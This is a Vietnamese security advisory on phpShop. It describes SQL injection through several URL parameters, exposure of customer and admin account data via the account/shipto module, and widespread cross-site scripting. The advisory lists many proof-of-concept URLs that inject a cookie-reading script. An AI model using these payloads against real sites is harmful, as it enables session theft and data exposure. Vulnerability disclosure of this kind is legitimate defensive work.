Lỗi trong phpShop Project

trang này đã được đọc lần


Miêu tả:

phpShop là một ứng dụng thương mại điện tử PHP cơ bản và là cơ cấu tổ chức phát triển PHP.phpShop mang lại những tính năng cơ bản để trang web chạy 1 cách thông suốt và đưa ra những khả năng cho từng mục đích của nó.phpShop sử dụng 1 cơ cấu phát triển mạnh cho phép người quản trị web sử dụng hết các chức năng thông qua các modun.Cách xây dựng web-box làm cho nó trở lên dễ sử dụng hơn,dễ hiểu hơn,trong khi nó cung cấp các chức năng có khả năng quản lí mạnh mẽ cho ứng dụng web của bạn.Nó là một trong những php SQL phổ biến nhất mang lại những giải pháp thương mại điện tử ngày nay.


Lỗi SQL Injection:


phpShop có khả năng bị lỗi SQL Injection khi update một phiên.Kết quả nó có thể bị khai thác thông qua các dòng lệnh Inject SQL xuất phát từ biến "page".Vấn đề tương tự cũng tồn tại là khi Add một item vào shopping cart qua biến "product_id" .Trong khi không được xem là quan trọng lắm,biến để trống cũng có thể dẫn đến lỗi SQL Injection.

Dưới đây là ví dụ về lỗi đã đề cập phía trên:

/?page=[Evil_Query]
/?page=shop/cart&func=cartAdd&product_id=[Evil_Query]
/?page=shop/browse&category_id=&offset=[Evil_Query]

[Evil_Query] chỉ đọan truy vấn nguy hiểm do kẻ tấn công tạo ra.

Cũng nên chú ý rằng nếu một atacker không thể thực thi thành công một truy vấn nguy hiểm,họ cũng có thể chèn các đọan mã cho phép khai thác qua lỗi Cross Site Scripting.

Lỗi cho phép xem thông tin người dùng:

Lỗi này cho phép người dùng tìm cách lấy một lượng thông tin lớn về bất cứ khách hàng bằng cách truy vấn modun "account/shipto".Làm cách này hacker có thể đăng nhập với một tài khỏan hợp lệ.Một khi họ cũng có thể xem các thông tin về admin.Chúng ta có thể để ý đọan mã phía dưới.Thật sự không có sự kiểm tra nào nếu kẻ tấn công truy vấn thông tin về một tài khỏan người dùng.

Lỗi Cross Site Scripting:

Trong phpShop lỗi này rất nghiêm trọng.Hầu hết ở trang nào cũng bị lỗi(Điều này không nói quá ).Nó xảy ra vì một số lớn nếu không nói là đa số các biến của một người dùng thông qua phương pháp GET được in trực tiếp ra màn hình bằng cách sử dụng php echo.Ngòai ra những trang mà bạn không được phép truy cập sẽ cho phép tấn công XSS bởi vì bất cứ biến bạn có qua phuong pháp GET sẽ được lưu trữ trong ô đăng nhập như là một trường ẩn.

/?page=admin/index&GulfTech="><script>alert(document.cookie)</script>

Dòng trên sẽ cho phép Cross Site Scripting.Như tôi đã nói trước,mỗi trang trong phpShop đều có thể dính lổi XSS,vì vậy tôi không dành nhiều thời gian để đưa ra hàng trăm ví dụ về lỗi XSS,nhưng tôi có cung cấp cho bạn 1 số ví dụ sau đây:

?page=shop/browse&category_id="><script>alert(document.cookie)</script>
/?func="><script>alert(document.cookie)</script>
/?login="><script>alert(document.cookie)</script>
/?page=account/shipto&user_info_id="><script>alert(document.cookie)</script>
/?page=shopper/index&module_description="><script>alert(document.cookie)</script>
/?page=shopper/menu&menu_label="><script>alert(document.cookie)</script>
/?page=shopper/menu&shopper_list_mn="><script>alert(document.cookie)</script>
/?page=shopper/menu&modulename="><script>alert(document.cookie)</script>
/?page=shopper/menu&shopper_group_list_mnu="><script>alert(document.cookie)</script>
/?page=shopper/menu&shopper_group_form_mnu="><script>alert(document.cookie)</script>
/?page=vendor/index&module_description="><script>alert(document.cookie)</script>
/?page=vendor/index&menu_label="><script>alert(document.cookie)</script>
/?page=vendor/index&sess="><script>alert(document.cookie)</script>
/?page=vendor/index&leftbar_title_bgcolor="><script>alert(document.cookie)</script>

Giải pháp:

Thông bào về lỗi này đã được gửi tới cho admin vào tháng 12,tuy nhiên cả hai bức thư tôi khuyến cáo về lỗi này đều không được admin trà lời.Tôi cũng không biết bản sữa lỗi hay update đã có hay chưa,nhưng bởi vì thiếu liên hệ với admin,tôi hiện thời không có ý kiến nào.Lời khuyên của tôi đối với quản trị của phpShop.org là hãy chú tâm sữa lỗi cho phpShop